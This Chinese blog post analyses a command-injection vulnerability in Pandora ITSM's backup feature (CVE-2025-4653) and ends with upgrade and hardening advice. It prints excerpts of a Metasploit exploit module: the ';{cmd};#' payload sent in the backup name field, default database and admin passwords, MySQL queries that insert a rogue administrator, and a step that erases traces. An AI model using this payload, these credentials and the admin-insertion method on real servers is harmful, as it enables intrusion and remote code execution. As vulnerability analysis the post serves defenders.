Pandora ITSM认证命令注入漏洞分析与利用

本文详细分析了Pandora ITSM平台中存在的认证命令注入漏洞(CVE-2025-4653)。攻击者可通过备份功能中的name参数注入恶意命令,在拥有管理员权限的情况下实现远程代码执行。文章包含完整的Metasploit模块代码和利用流程。

漏洞概述

Pandora ITSM是一个用于服务管理与支持(包括帮助台)的平台,遵循ITIL流程。本文涉及的漏洞存在于应用程序设置页面的备份功能中。攻击者可以通过在name备份设置参数中注入恶意载荷,触发命令注入,最终导致远程代码执行(RCE)。要利用此漏洞,攻击者需要拥有Pandora ITSM Web应用的管理员访问权限。

漏洞影响范围

该漏洞影响所有ITSM企业版,版本号最高至5.0.105,已在5.0.106版本中修复。

技术细节

漏洞位置与触发

漏洞位于/index.phpsec=godmodesec2=enterprise/godmode/setup/backup_manager路径。当通过POST请求创建备份时,name参数未经充分过滤,允许注入操作系统命令。

利用前提条件

  1. 管理员凭证:已知的Web应用管理员用户名和密码。
  2. 默认密码漏洞:利用Pandora ITSM中的默认密码弱点,远程访问暴露的MySQL数据库,创建新的管理员用户,进而获得Web应用的管理权限。此攻击可在MySQL服务暴露于外网时远程执行。

攻击链

  1. 初始访问:尝试使用默认或已知的凭据登录Web应用。如果失败,则尝试使用默认数据库凭据连接MySQL服务。
  2. 权限提升:在数据库中创建新的管理员用户。
  3. 命令注入:使用新创建的管理员会话,在备份功能的name参数中注入命令载荷。
  4. 命令执行:触发备份操作,执行注入的系统命令。
  5. 痕迹清理:模块尝试从备份列表中删除包含载荷的条目以覆盖踪迹。

Metasploit模块分析

以下是该漏洞对应的Metasploit模块核心代码摘要:

模块初始化

模块继承了Msf::Exploit::Remote类,并包含HTTP客户端和自动检查功能。它针对Unix/Linux平台,使用命令行架构(ARCH_CMD)。

1
2
3
4
5
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include BCrypt
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

选项配置

模块注册了多个选项,包括目标URI、数据库凭据和Web应用凭据。

1
2
3
4
5
6
7
8
9
register_options([
  OptString.new('TARGETURI', [true, 'Path to the Pandora ITSM application', '/pandoraitsm']),
  OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandoraitsm']),
  OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'P4ndor4.itsm']),
  OptString.new('DB_NAME', [true, 'Pandora database', 'pandoraitsm']),
  OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
  OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),
  OptString.new('PASSWORD', [false, 'Pandora web admin password', 'integria'])
])

主要方法

  1. mysql_loginmysql_query:处理与MySQL数据库的连接和查询,用于在无法直接登录Web应用时创建新管理员用户。
  2. pandoraitsm_login:使用提供的凭据通过POST请求登录Pandora ITSM Web应用。
  3. execute_payload:核心利用函数。构造包含命令注入的name参数(格式为;{cmd};#)并发送创建备份的请求。
  4. clean_rce_payload:在利用后尝试清理备份列表中的恶意条目,以隐藏攻击痕迹。
  5. check:通过查询/include/api.php?info=version来检测目标版本,判断是否存在漏洞。
  6. exploit:主执行流程。首先尝试用提供的Web凭据登录。如果失败,则尝试用默认数据库凭据连接MySQL,创建新管理员用户,然后用新用户登录。登录成功后,执行命令注入载荷。

载荷构造与执行

载荷通过备份功能的name参数注入。模块将用户输入的命令封装为;{command};#的形式,以终止原有命令并注释掉后续部分。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def execute_payload(cmd)
  @rce_payload = ";#{cmd};#"
  vprint_status("RCE payload: #{@rce_payload}")
  @clean_payload = true
  send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'keep_cookies' => true,
    'vars_get' => {
      'sec' => 'godmode',
      'sec2' => 'enterprise/godmode/setup/backup_manager'
    },
    'vars_post' => {
      'name' => @rce_payload.to_s,
      'mode' => 1,
      'mail' => nil,
      'create_backup' => 1,
      'create' => 'Do a backup now'
    }
  })
end

数据库交互与用户创建

当Web登录失败时,模块尝试连接MySQL数据库。它检查现有管理员密码的哈希算法(可能是bcrypt或MD5),然后使用相应的算法为新创建的随机用户名和密码生成哈希值,并将其插入tusuario表。

1
2
3
4
5
6
7
8
mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_usuario = 'admin';")
...
if hash['password'].match(/^\$2.\$/)
  password_hash = Password.create(password)
else
  password_hash = Digest::MD5.hexdigest(password)
end
mysql_query_res = mysql_query("INSERT INTO tusuario (id_usuario, password, nivel) VALUES (\'#{username}\', \'#{password_hash}\', '1');")

安全建议

  1. 及时升级:所有Pandora ITSM用户应立即升级到版本5.0.106或更高版本。
  2. 强化凭证:更改所有默认数据库和Web应用管理员密码,使用强密码策略。
  3. 网络隔离:确保数据库服务(如MySQL)不直接暴露在互联网上,应置于防火墙或VPN之后。
  4. 输入验证:对所有用户输入进行严格的验证和过滤,特别是在调用系统命令的参数中。
  5. 最小权限:应用程序应使用所需最小权限的账户运行,以限制潜在攻击的影响范围。

参考资料

  • CVE编号:CVE-2025-4653
  • Pandora安全公告:https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/
  • 安全建议:https://github.com/h00die-gr3y/h00die-gr3y/security/advisories/GHSA-m4f8-9c8x-8f3f
  • AttackerKB分析:https://attackerkb.com/topics/wgCb1QQm1t/cve-2025-4653
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计